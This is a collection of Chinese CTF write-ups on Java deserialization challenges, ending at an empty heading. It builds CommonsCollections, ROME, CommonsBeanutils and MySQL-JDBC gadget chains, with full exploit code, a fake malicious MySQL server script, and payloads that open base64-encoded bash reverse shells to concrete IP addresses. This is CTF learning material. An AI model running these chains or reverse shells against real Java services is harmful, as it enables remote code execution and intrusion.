CTF-Java做题记录合集

---

前言

年底都比较忙，很久没有静下心来打过CTF了，最近Java的各种链子也是接触了不少，于是静下心来打算做点Java类的题目，于是就有了以下的一些记录，还比较少，以后会慢慢的补充。

[CISCN 2023]deserbug

1. 从附件中可以看到两个依赖，分别是common-colletions-3.2.2和hutool-all-5.8.18两个版本，首先能够想到的就是常规的CC链子，需要注意的是这里使用的是CC3.2.2，比我们漏洞百出的3.2.1多了一个小版本，换上这个小版本对之前的东西进行复现发现会出现报错，原因是多了一个checkUnsafeSerialization函数，对序列化的类进行了检查，禁止了以下一些类的序列化。

WhileClosure
CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory

2. 在看一下源码，只有两个类，一个是MyExpect类，一个是Testapp类

    package com.app;
    import java.lang.reflect.Constructor;
    public class Myexpect
      extends Exception {
      private Class[] typeparam;
      private Object[] typearg;
      public Class getTargetclass() {
   	     return this.targetclass;
      }
      private Class targetclass; public String name; public String anyexcept;
      public void setTargetclass(Class targetclass) {
   	     this.targetclass = targetclass;
      }
      public Object[] getTypearg() {
   	     return this.typearg;
      }
      public void setTypearg(Object[] typearg) {
   	     this.typearg = typearg;
      }
      public Object getAnyexcept() throws Exception {
   	     Constructor con = this.targetclass.getConstructor(this.typeparam);
   	     return con.newInstance(this.typearg);
      }
      public void setAnyexcept(String anyexcept) {
   	     this.anyexcept = anyexcept;
      }
      public Class[] getTypeparam() {
   	     return this.typeparam;
      }
      public void setTypeparam(Class[] typeparam) {
   	     this.typeparam = typeparam;
      }
      public String getName() {
   	     return this.name;
      }
      public void setName(String name) {
   	     this.name = name;
      }
    }
   

    package com.app;
    
    import cn.hutool.http.ContentType;
    import cn.hutool.http.HttpUtil;
    import cn.hutool.http.server.HttpServerRequest;
    import cn.hutool.http.server.HttpServerResponse;
    import java.io.ByteArrayInputStream;
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.util.Base64;
    
    public class Testapp {
      public static void main(String[] args) {
            HttpUtil.createServer(8888)
              .addAction("/", (request, response) -> {
              String bugstr = request.getParam("bugstr");
              String result = "";
              if (bugstr == null) {
                response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
              }
              try {
                byte[] decode = Base64.getDecoder().decode(bugstr);
                ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
                Object object = inputStream.readObject();
                result = object.toString();
                  } catch (Exception e) {
                Myexpect myexpect = new Myexpect();
                myexpect.setTypeparam(new Class[] { String.class });
                myexpect.setTypearg((Object[])new String[] { e.toString() });
                myexpect.setTargetclass(e.getClass());
                try {
                  result = myexpect.getAnyexcept().toString();
                    } catch (Exception ex) {
                  result = ex.toString();
                } 
              }
              response.write(result, ContentType.TEXT_PLAIN.toString());
                }).start();
      }
    }
   

   看到了getAnyexcept()方法中存在类实例化的条件，这与某条CC链中，要使用InstantiateTransformer#transform中的代码类似，很明显是作者故意给的。再看Web页面接收bugstr参数，经过base64解码转化为对象流后直接进行了readObject进行反序列化，因此这里肯定是要通过CC链+getAnyexcept()来触发漏洞，但是怎么触发getAnyexcept()呢？

?

这里出题人给了一个提示就是cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept，通过hutools中的put返回能够触发getAnyexcept，可能就是与fastjson触发get函数有点相似，通过这里就可以串起整个CC链子，可以通过getAnyexcept实例化TrAXFilter，接而触发templates加载字节码触发RCE。

  public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

接下来的问题就是通过什么来触发cn.hutool.json.JSONObject.put方法，在LazyMap中，存在LazyMap#get是可以触发map.put 方法来触发，因此就可以用CC链串起来了。

HashMap#readObject()->HashMap#hash()->TiedMapEntry#hashCode()->TiedMapEntry#getValue()->LazyMap#get()->cn.hutool.json.JSONObject.put()->Myexpect#getAnyexcept()->TrAXFilter#constructor()
->TemplatesImpl#newTransformer()
->Runtime.exec

整个payload如下：

package com.app;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import cn.hutool.json.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.util.Base64;
import java.util.HashMap;


public class MyPOC {
    public static void main(String[] args) throws Exception {
        byte[] bytes = getTemplates();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "1");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypeparam(new Class[]{Templates.class});
        myexpect.setTypearg(new Object[]{templates});
        JSONObject jsonObject = new JSONObject();
        ConstantTransformer transformer = new ConstantTransformer(1);
        LazyMap lazyMap  = (LazyMap) LazyMap.decorate(jsonObject,transformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap , "111");
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "1");
        jsonObject.remove("111");//if (map.containsKey(key) == false)
        setFieldValue(transformer,"iConstant",myexpect);
        byte[] serialize = serialize(hashMap);
        System.out.println(Base64.getEncoder().encodeToString(serialize));
        
    }

public static  byte[] serialize(Object object) throws IOException {
    ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
    objectOutputStream.writeObject(object);
    return byteArrayOutputStream.toByteArray();
}

public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
    public static byte[] getTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("Test");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzQ0NDQgMD4mIDE=}|{base64,-d}|{bash,-i}\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
}

尝试下修改一下这题，hutool改成Rome同样也是可以触发，不过需要将Myexpect#setAnyexcept类修改一下，将返回类型与getAnyexcept一致，这样在创建PropertyDescriptor的时候才符合read和write方法类型一致，不产生报错。

    public Object setAnyexcept(String anyexcept) {
        this.anyexcept = anyexcept;
        return null;
    }

Gadget如下：

BadAttributeValueExpException#readObject()->ToStringBean#toString->
        Myexpect#getAnyexcept->TrAXFilter#constructor()
        templatesImpl#newTransformer->templatesImpl#getTransletInstance->
        templatesImpl#defineTransletClasses->newInstance()

package com.app;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;

public class ROMEToCC {
    public static void main(String[] args) throws Exception {
        byte[] code = getTemplates();
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "useless");
        setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", codes);
        Myexpect myexpect=new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypeparam(new Class[]{Templates.class});
        myexpect.setTypearg(new Object[]{templates});
        ToStringBean toStringBean=new ToStringBean(Myexpect.class,myexpect);
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException,"val",toStringBean);
        serialize(badAttributeValueExpException);
        unserialize();

//        EqualsBean equalsBean=new EqualsBean(String.class,"aiwin");
//        HashMap hashMap=new HashMap();
//        hashMap.put(equalsBean,"111");
//        setFieldValue(equalsBean,"_beanClass",ToStringBean.class);
//        setFieldValue(equalsBean,"_obj",toStringBean);
//        serialize(hashMap);
//        unserialize();
    }

    public static void setFieldValue(Object obj,String field,Object val) throws NoSuchFieldException, IllegalAccessException {
        Field field1=obj.getClass().getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj,val);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("ser.bin"));
        objectInputStream.readObject();
    }
    public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }
}

[MTCTF2022]easyjava

1. 看题目附件源码:

   package com.butler.springboot14shiro.MyController;
   
   import com.butler.springboot14shiro.Util.MyObjectInputStream;
   import java.io.ByteArrayInputStream;
   import java.io.InputStream;
   import java.util.Base64;
   import org.apache.shiro.SecurityUtils;
   import org.apache.shiro.authc.IncorrectCredentialsException;
   import org.apache.shiro.authc.UnknownAccountException;
   import org.apache.shiro.authc.UsernamePasswordToken;
   import org.apache.shiro.subject.Subject;
   import org.springframework.stereotype.Controller;
   import org.springframework.ui.Model;
   import org.springframework.web.bind.annotation.RequestMapping;
   import org.springframework.web.bind.annotation.RequestParam;
   
   @Controller
   public class HelloController {
       public HelloController() {
       }
   
       @RequestMapping({"/"})
       public String index(Model model) {
           model.addAttribute("msg", "Hello World");
           return "login";
       }
   
       @RequestMapping({"/login"})
       public String login(String username, String password, Model model) {
           Subject subject = SecurityUtils.getSubject();
           UsernamePasswordToken token = new UsernamePasswordToken(username, password);
   
           try {
               subject.login(token);
               return "admin/hello";
           } catch (UnknownAccountException var7) {
               model.addAttribute("msg", "用户名错误");
               return "login";
           } catch (IncorrectCredentialsException var8) {
               model.addAttribute("msg", "密码错误");
               return "login";
           }
       }
   
       @RequestMapping({"/admin/hello"})
       public String admin(@RequestParam(name = "data",required = false) String data, Model model) throws Exception {
           try {
               byte[] decode = Base64.getDecoder().decode(data);
               InputStream inputStream = new ByteArrayInputStream(decode);
               MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
               myObjectInputStream.readObject();
           } catch (Exception var6) {
               var6.printStackTrace();
               model.addAttribute("msg", "data=");
           }
   
           return "admin/hello";
       }
   }
   
   

   很明显，需要进入/admin页面传入data参数来触发反序列化，这里通过Shiro进行了权限认证，但是Shiro的版本是1.5.2 ，查一看这个版本的框架是存在通过;绕过权限认证的漏洞，因此访问/admin/hello的问题就解决了

   

2. 看一下MyObjectInputStream，发现它重写了ObjectInputStream方法，方法中过滤了四个类，阻止了使用Hibernate反序列化链和Jdbc链子，但是这里是Shiro，内置的BeanComparator并没有被过滤，因此可以打CB链子，注意这里是commons-beanutils1.9.4，做poc的时候也要换成相同的版本，否则是报serializeUID错误。

   package com.butler.springboot14shiro.Util;
   
   import java.io.IOException;
   import java.io.InputStream;
   import java.io.ObjectInputStream;
   import java.io.ObjectStreamClass;
   import java.util.ArrayList;
   import java.util.Iterator;
   
   public class MyObjectInputStream extends ObjectInputStream {
       private static ArrayList<String> blackList = new ArrayList();
   
       public MyObjectInputStream(InputStream inputStream) throws Exception {
           super(inputStream);
       }
   
       protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
           Iterator var2 = blackList.iterator();
   
           String s;
           do {
               if (!var2.hasNext()) {
                   return super.resolveClass(desc);
               }
   
               s = (String)var2.next();
           } while(!desc.getName().contains(s));
   
           throw new ClassNotFoundException("Don't hacker!");
       }
   
       static {
           blackList.add("com.sun.org.apache.xalan.internal.xsltc.traxTemplatesImpl");
           blackList.add("org.hibernate.tuple.component.PojoComponentTuplizer");
           blackList.add("java.security.SignedObject");
           blackList.add("com.sun.rowset.JdbcRowSetImpl");
       }
   }
   

3. 整个Gadgets如下：

   PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator()->BeanComparator.compare()->TemplateImpl.getOutputProperties()->TemplateImpl.newTransformer->动态调用类
   

4. payload如下：

   package com.app;
   
   import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
   import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
   import javassist.ClassPool;
   import javassist.CtClass;
   import org.apache.commons.beanutils.BeanComparator;
   import org.springframework.context.annotation.Bean;
   import sun.print.SunPageSelection;
   
   import java.io.*;
   import java.lang.reflect.Field;
   import java.util.Base64;
   import java.util.PriorityQueue;
   
   public class MTCTF2022_easyjava {
       public static void main(String[] args) throws Exception {
           //PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator()->BeanComparator.compare()
           // ->TemplateImpl.getOutputProperties()->TemplateImpl.newTransformer->动态调用类
           byte[] code=getTemplates();
           byte[][] codes={code};
           TemplatesImpl templates=new TemplatesImpl();
           setFieldValue(templates,"_name","aaa");
           setFieldValue(templates,"_class",null);
           setFieldValue(templates,"_bytecodes",codes);
           BeanComparator beanComparator=new BeanComparator("outputProperties",new AttrCompare());
           BeanComparator beanComparator1=new BeanComparator();
           PriorityQueue priorityQueue=new PriorityQueue(beanComparator1);
           priorityQueue.add("1");
           priorityQueue.add("2");
           setFieldValue(beanComparator,"property","outputProperties");
           setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
           setFieldValue(priorityQueue,"comparator",beanComparator);
   
           byte[] result=serialize(priorityQueue);
           System.out.println(Base64.getEncoder().encodeToString(result));
   
       }
       public static void unserialize(String filename) throws IOException, ClassNotFoundException {
           ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
           objectInputStream.readObject();
       }
   
       public static  byte[] serialize(Object object) throws IOException {
           ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
           ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
           objectOutputStream.writeObject(object);
           return byteArrayOutputStream.toByteArray();
       }
   
       public static void setFieldValue(Object obj, String field, Object val) throws Exception{
           Field dField = obj.getClass().getDeclaredField(field);
           dField.setAccessible(true);
           dField.set(obj, val);
       }
       public static byte[] getTemplates() throws Exception{
           ClassPool pool = ClassPool.getDefault();
           CtClass template = pool.makeClass("Test");
           template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
           String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjEzNy80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}\");";
           template.makeClassInitializer().insertBefore(block);
           return template.toBytecode();
       }
   }
   
   

[羊城杯 2020]a_piece_of_java

1. 查看源码，发现在/hello路径能够对Cookie中的data进行反序列化，然后在依赖中看到了CC链子，原本以为可以直接打，在本地打了一波发现报错了，报错HashMap whitelist not match，然后就看到了这里序列化使用的类不一样，使用的是SerialKiller ，好像是可以规范了一些类的使用，看serialkiller.conf看到了只能使用java.lang和gdufs两个路径的类，因此直接打是不成功的。

       @GetMapping({"/hello"})
       public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
           if (cookieData != null && !cookieData.equals("")) {
               Info info = (Info)this.deserialize(cookieData);
               if (info != null) {
                   model.addAttribute("info", info.getAllInfo());
               }
   
               return "hello";
           } else {
               return "redirect:/index";
           }
       }
       private Object deserialize(String base64data) {
           ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
   
           try {
               ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
               Object obj = ois.readObject();
               ois.close();
               return obj;
           } catch (Exception var5) {
               var5.printStackTrace();
               return null;
           }
       }
   

   <?xml version="1.0" encoding="UTF-8"?>
   <!-- serialkiller.conf -->
   <config>
       <refresh>6000</refresh>
       <mode>
           <!-- set to 'false' for blocking mode -->
           <profiling>false</profiling>
       </mode>
       <blacklist>
   
       </blacklist>
       <whitelist>
           <regexp>gdufs\..*</regexp>
           <regexp>java\.lang\..*</regexp>
       </whitelist>
   </config>
   

2. 再找其它依赖发现还有mysql-connect-8.0.19，并且存在jdbc连接，所以这里其实是通过jdbc反序列化通过CC链进行RCE的打法，从connect()可以看到DriverManager.getConnection是可以触发jdbc反序列化，可以通过checkAllInfo触发。

       private void connect() {
           String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
   
           try {
               this.connection = DriverManager.getConnection(url);
           } catch (Exception var3) {
               var3.printStackTrace();
           }
   
       }
   
       public Boolean checkAllInfo() {
           if (this.host != null && this.port != null && this.username != null && this.password != null) {
               if (this.connection == null) {
                   this.connect();
               }
   
               return true;
           } else {
               return false;
           }
       }
   

3. 而checkAllinfo可以在InfoInvocationHandler中看到被调用了，至于怎么调用invoke，这里可以使用动态代理，动态代理底层调用的是InvocationHandler类，调用被代理类的任意方法都会触发它的invoke方法，所以在序列化写入的时候会自动调用invoke方法。

   public class InfoInvocationHandler implements InvocationHandler, Serializable {
       private Info info;
   
       public InfoInvocationHandler(Info info) {
           this.info = info;
       }
   
       public Object invoke(Object proxy, Method method, Object[] args) {
           try {
               return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args);
           } catch (Exception var5) {
               var5.printStackTrace();
               return null;
           }
       }
   }
   
   

4. 因此可以起一个恶意的mysql服务器，进行RCE，github上面搜的mysql恶意服务器如下：

   import socket
   import binascii
   import os
   
   greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
   response_ok_data="0700000200000002000000"
   
   def receive_data(conn):
       data = conn.recv(1024)
       print("[*] Receiveing the package : {}".format(data))
       return str(data).lower()
   
   def send_data(conn,data):
       print("[*] Sending the package : {}".format(data))
       conn.send(binascii.a2b_hex(data))
   
   def get_payload_content():
       #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > payload 
       file= r'payload'
       if os.path.isfile(file):
           with open(file, 'rb') as f:
               payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
           print("open successs")
   
       else:
           print("open false")
           #calc
           payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
       return payload_content
   
   # 主要逻辑
   def run():
   
       while 1:
           conn, addr = sk.accept()
           print("Connection come from {}:{}".format(addr[0],addr[1]))
   
           # 1.先发送第一个 问候报文
           send_data(conn,greeting_data)
   
           while True:
               # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
               receive_data(conn)
               send_data(conn,response_ok_data)
   
               #其他过程
               data=receive_data(conn)
               #查询一些配置信息,其中会发送自己的 版本号
               if "session.auto_increment_increment" in data:
                   _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                   send_data(conn,_payload)
                   data=receive_data(conn)
               elif "show warnings" in data:
                   _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                   send_data(conn, _payload)
                   data = receive_data(conn)
               if "set names" in data:
                   send_data(conn, response_ok_data)
                   data = receive_data(conn)
               if "set character_set_results" in data:
                   send_data(conn, response_ok_data)
                   data = receive_data(conn)
               if "show session status" in data:
                   mysql_data = '0100000102'
                   mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                   mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                   #获取payload
                   payload_content=get_payload_content()
                   #计算payload长度
                   payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                   payload_length_hex = payload_length[2:4] + payload_length[0:2]
                   #计算数据包长度
                   data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                   data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                   mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                   mysql_data += str(payload_content)
                   mysql_data += '07000005fe000022000100'
                   send_data(conn, mysql_data)
                   data = receive_data(conn)
               if "show warnings" in data:
                   payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                   send_data(conn, payload)
               break
   
   
   if __name__ == '__main__':
       HOST ='0.0.0.0'
       PORT = 3309
       sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
       sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
       sk.bind((HOST, PORT))
       sk.listen(1)
       print("start fake mysql server listening on {}:{}".format(HOST,PORT))
       run()
   

5. 然后使用ysoserial生成CC链子写入payload里面，通过CookieData即可成功

   package gdufs.challenge.web;
   
   import gdufs.challenge.web.invocation.InfoInvocationHandler;
   import gdufs.challenge.web.model.DatabaseInfo;
   import gdufs.challenge.web.model.Info;
   
   import java.io.ByteArrayOutputStream;
   import java.io.ObjectOutputStream;
   import java.lang.reflect.Proxy;
   import java.util.Base64;
   
   public class exp {
       public static void main(String[] args) throws Exception{
           DatabaseInfo databaseInfo = new DatabaseInfo();
           databaseInfo.setHost("120.79.29.170");
           databaseInfo.setPort("3309");
           databaseInfo.setUsername("root");
           databaseInfo.setPassword("123123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
           InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
           Info info =(Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);
           ByteArrayOutputStream baos = new ByteArrayOutputStream();
           ObjectOutputStream oos = new ObjectOutputStream(baos);
           oos.writeObject(info);
           oos.close();
           System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
   
       }
   
   }
   
   
   

   

至于mysql-connect8版本中的jdbc反序列化整个流程的简单分析如下：

1. 首先会进入NonRegisteringDriver#connect方法实例化一个ConnectionImpl类

2. 经过一系列的初始化进入到ConnectionImpl#createNewIO方法中，如果autoReconnect获取不到值，进入connectOneTryOnly方法

   

3. 随后就会设置对mysql服务器进行连接，然后设置Interceptors为payload中的ServerStatusDiffInterceptor

   

4. 如果设置的queryInterceptors不为空，会进入NaticeProtol#invokeQueryInterceptorsPre中触发NoSubInterceptorWrapper#preProcess进行拦截，preProcess会进入到ServerStatusDiffInterceptor#populateMapWithSessionStatusValues方法，执行Show SESSION STATUS查询后将结果存储到toPopluate中。

5. 最终会进入ResultSetImpl#getObject方法中，当columnIndex=2时，会执行后面的代码，判断MySQL类型为BLOB后，从MySQL服务端中获取对应的字节码数据、并且当``autoDeserialize`，就会将获取到的字节码数据反序列化。

    case BLOB:
                   if (field.isBinary() || field.isBlob()) {
                       byte[] data = getBytes(columnIndex);
                       if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
                           Object obj = data;
                           if ((data != null) && (data.length >= 2)) {
                               if ((data[0] == -84) && (data[1] == -19)) {
                                   try {
                                       ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                       ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                       obj = objIn.readObject();
                                       objIn.close();
                                       bytesIn.close();
                                   } catch (ClassNotFoundException cnfe) {
                                       throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
                                               + Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
                                   } catch (IOException ex) {
                                       obj = data; // not serialized?
                                   }
                               } else {
                                   return getString(columnIndex);
                               }
                           }
   
                           return obj;
                       }
   
                       return data;
                   }
   

JDBC反序列化参考文章

[红明谷CTF 2021]JavaWeb

